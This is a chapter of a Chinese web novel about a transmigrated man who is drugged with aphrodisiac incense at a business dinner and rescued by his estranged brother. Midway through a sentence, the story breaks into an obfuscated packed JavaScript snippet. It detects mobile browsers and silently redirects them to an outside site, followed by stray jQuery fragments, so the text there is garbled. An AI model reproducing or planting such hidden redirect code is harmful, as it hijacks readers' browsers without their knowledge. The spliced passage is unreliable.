8. 第 8 章

作品:《豪门奶爸带球跑后[穿书]

    ……还是被暗算了。


    夏盏暗恼,还是在原本世界,他为了躲避胎记带来的不良影响,社交应酬都推给经纪人做。


    香薰有问题,应该不是诓他,毕竟酒里夏盏确定没有东西,但他身上确实有点不舒服,那问题就出在香薰上了。


    只是不知道这年轻男子是什么身份,看起来像是那位张总的秘书,但又仿佛和原主熟识,还会好心提醒他。


    夏盏垂下眼睫,心思百转千回,借口说要去洗手间。


    张总瞥了他一眼,似笑非笑地拍了拍秘书大腿,“我等你,小夏。咱们这单子可还没签到底呢。”


    夏盏被恶心得够呛,问了服务员洗手间方向后,三两步跑到一个单间大吐特吐。


    洗手间装修豪华,夏盏一进来就知道这不是个普通的歌舞厅,算是个高级会所,连洗手台上都放着一株含苞待放的玫瑰,时不时地散发着幽香。


    夏盏一闻到香味,就想起包间里的熏香,只觉得更加恶心,他被恶心得干呕了好几下。


    缓过一阵后,夏盏背靠着洗手台,开始理智盘算。


    那熏香里应该是催情物质,另外几人不受控制可能是早就服用了清热解毒的药剂。从走进包厢,再到找理由跑出来,不过十来分钟,他目前只是略感不适,药物的作用应该还没完全发作。


    所谓王总应该是个拉皮条的,为了单子坑自家员工,所谓张总就是个淫/虫上脑的道貌岸然之人,至于张总身边年轻的秘书……


    夏盏看不透他的身份,他应该早就认识原主,如果是个好人,则在原主来之前就会通过短信之类的方式提醒他,如果是个同谋,那他临时反悔的原因是什么?


    云里雾里,全赖夏盏是个刚穿过来的新手,连人际关系都分辨不清。千思百缕,夏盏心里头只剩一个想法。


    这原主过得是什么狗日子啊。


    有个儿子要养家糊口,工作周围又都是豺狼虎豹。


    难也。


    恍惚之间,熏香的药效慢慢发作,夏盏周身起了一阵痒意,像是无数小蚂蚁在全身爬窜,从皮肤里钻进来钻出去,能忍,但磨人。


    药效开始了。


    夏盏浑身都热了起来,脸更是烫得惊人,眼前的视线开始模糊,眼角无意识地分泌出水渍来,似乎连呼吸都变得灼热起来。


    夏盏像渴了许久的沙漠病人,将整个脸都放置在洗脸台上,冰凉的水流冲刷下来,短暂地缓解着体内的燥热,然而没有用,表面的终归是表面的,物理降温只能缓解一时。


    这药效好霸道!


    果然是穿书文!


    为今之计,只有找鸭。


    夏盏捋了一把头发,脸上湿漉漉的,眼底被熏得泪眼婆娑,嘴唇由于药效变得格外红润,路过都忍不住叹一句,哪里来的精怪。


    他对这个世界不了解,以前要是想找炮/友,直接问经纪人就行,虽然他怕胎记暴露,都是自己解决生理需求,至今还是个雏,理论知识远远大于实战经验。


    可这穿书世界,他不懂行情,家里还有个娃在等他,夏盏思索片刻,想要在网上看有没有隐晦的相关业务。


    打个车去鸭店,也不知道来不来得及。


    就在此时,一阵阵暧昧的声音传来,越来越往洗手间靠近,夏盏耳朵尖,一听就知道又是有人在搞男盗女娼了。


    可今时不同往日,进来之初夏盏只觉得无感辣眼睛,此刻却有点羡慕地舔了下湿漉漉的嘴唇。


    好羡慕啊……


    要不等人来了问一下有没有认识的同行业务?


    果然,没过多久,就有一男一女从走廊外亲吻着过来,出乎夏盏意料之外的,这一对狗男女竟然看起来还挺俊男靓女。


    男性足有一米八以上,身材伟岸,背影宽阔,双腿笔直且矫健,他解开衬衫三四颗纽扣,呈V型敞开,豪放地袒露出蜜色的胸肌。


    男人头发剃得很短,剑眉星目,唇峰颇厚。这是夏盏喜欢的嘴唇类型。夏盏又忍不住伸出舌尖,舔了舔嘴唇。


    只不过,这女人,怎么越看越眼熟。齐短发,特别的方形耳环,红色束腰连衣裙,细高跟。好像是买丝巾时,遇到的某大佬秘书。


    俊男靓女倒也投入,直到女人闭着的双眼悄悄睁开一些,错愕地看到坐在洗手台上的夏盏。


    夏盏忍不住惊呼出声:“是你?”


    此妖娆多姿的女子,正是那天,他在商场给李嫂挑丝巾遇到的那位秘书。


    果然,人类上班和下班就是有两幅面孔。做社畜时,她是精益求精、一丝不苟的完美秘书,在夜店浪时,她则是玩弄男人的时尚弄潮儿。


    女人尴尬地推开身上的男人,理好衣襟,不自然地挽起耳边的一缕秀发,“四少,好久不见。”


    额,请问四少是谁?


    夏盏略显疑惑。


    夏盏困惑了一瞬,这才记起来夏盏盏确实有个豪门身份,顶头还有三位哥哥。不过谁叫他穿越过来后,一直过着水深火热的日子,下意识认为原主的豪门亲戚都把原主抛弃了,一时之间,没反应过来,这位四少是谁。


    谁知听到“四少”后,本还伏在女人身上的男人立刻推开她,难以置信地转身看向夏盏,“……夏盏盏?”


    男人的眼睛直勾勾地盯着他,显得侧脸的红唇印更加搞笑。


    夏盏拧着眉看他,一边感受着体内的水深火热。


    男人三两步冲过来,不由分说地抱住他,如获珍宝般将他的后脑勺按在袒露的胸肌上,搓着夏盏的寸头恨铁不成钢地骂道:“你还知道要回来!”


    夏盏脸红了:“……”胸肌软软的,好好摸,好像棉花糖。


    男人放开夏盏,夏盏只觉得一阵失落,他含恨道:“你还知道要回来!你怎么会在这里的?这是什么好地方吗?你不是安心做你的好丈夫、好爸爸?!”


    夏盏朦胧着双眼,生理性的眼泪已经滚了出来,泪眼婆娑地看着他。他长而翘的睫毛上还挂着水珠,脸颊透着淡粉色,嘴唇却红得吓人,像吸人精气的魅妖。


    男人捧着夏盏的脸,夏盏管他是谁,他就像猫儿一样顺势蹭了蹭男人的手掌心,无比地贪恋。


    男人被惊到了,又舍不得放开他,受到了惊吓似的问旁边他大哥的秘书,他的地下情人,“盏盏这是怎么了?”


    秘书小姐早就整理好衣物,重新人模人样,反衬着男人一身狼狈,她还算冷静地摸了下夏盏的额头:“有点发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593585|143256||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    烧,应该是中了这里的某样催/情药物,得找个私人医生过来。”


    话音未落,容祁耀就公主抱起夏盏,大步流星地往外走去。


    颜嫣苦笑地抿了下嘴唇,便拿起放在洗手台上的名牌包包,吃力地踩着高跟鞋,跟在容祁耀的身后。


    途径路过夏盏曾经待过的包厢,包厢内的空气早就被弄得腥臭不堪,淫/言/浪/语被压在厚重的门内,隔开夏盏与它的世界。


    夏盏猜错了一点,那些人可没吃什么清热药剂,本就想混战一场,结果被夏盏逃了出去,少了一人,这几个人却觉得无伤大雅,只是缺了一点新鲜滋味而已。


    坐上容祁耀的专属豪车,司机惊讶地看到许久未见的四少被抱上后座,他抹去额头的一层汗液,战战兢兢地问道:“这……四少是怎么了?”


    颜嫣道:“被下药了。”


    司机也看出来了,心惊肉跳地问道:“那……我们是回主宅?”


    “不去。”容祁耀斩钉截铁,“就大哥那个臭毛病,看到小夏这样,还不得痛骂一顿。我才不让我弟弟吃这个苦,我们去杭悦。”


    作为容阎明身边的秘书,颜嫣此时实在有苦说不出,深觉这家人都对容阎明有极大的误解。


    容祁耀转头又说,“小颜,记得把韩医生叫来。”


    韩医生是容家的私人医生,跟了容家人二十多年。他们兄弟几个,有个跌打肿痛的全喊的是韩医生。


    颜嫣道:“已经喊了,韩医生正在赶去的路上。”


    杭悦酒店是容家投资的项目之一,也是容家的产业。容祁耀在凯悦有个定制套房,只要他去,这房间就是留着的。


    结果,等来的却是前台连声的抱歉:“不好意思,三少爷,您的房间最近浴室漏顶,正在维修,一时之间住不了人。”


    容祁耀气的要死,怀里还抱着夏盏,夏盏难耐地辗转反侧,他差点抱不住人,颜嫣在一旁冷眼相待,觉得容祁耀这身肌肉都是空气肌肉,虚的,健身房里练出来的,只能唬人没有实用。


    “你们这算什么七星级酒店!房间还会漏雨!”容祁耀暴躁得像个大虎,“那还有什么房间可以住吗?”


    “抱……抱歉。”前台缩着头,像个鹌鹑,“都满了。”


    “都满了?”容祁耀冷笑一声,“那我哥的满没满?”


    前台一惊,“您说的是二、二少吗?”


    容祁耀又一声嗤笑,容祁月算哪门子他哥,他们是双胞胎,按科学常识,先落地的才是弟弟。


    “我说的是容、阎、明。”容祁耀咬牙切齿,嘴角仍带着冷笑,眼里却没有一丝笑意。


    前台一惊,原来坊间暗传的是真的,容家人早就四分五裂、兄弟阋墙,看三少对二少恨不得饮起血食其肉的凶残模样,别说是兄弟,说仇人她才信。


    可如今最大的股份还是在大少手里呀。三少这么恨,也没用哇。


    前台一阵哆嗦,“可大少,大少他的房间,不准别人出入的呀。”


    容祁耀简直想敲死这脑子不太聪明的前台,“呵,我是别人吗?”


    前台沉默数秒。


    随后,她替容祁耀刷了卡,鞠躬道:“顶楼A3,大少的房间。”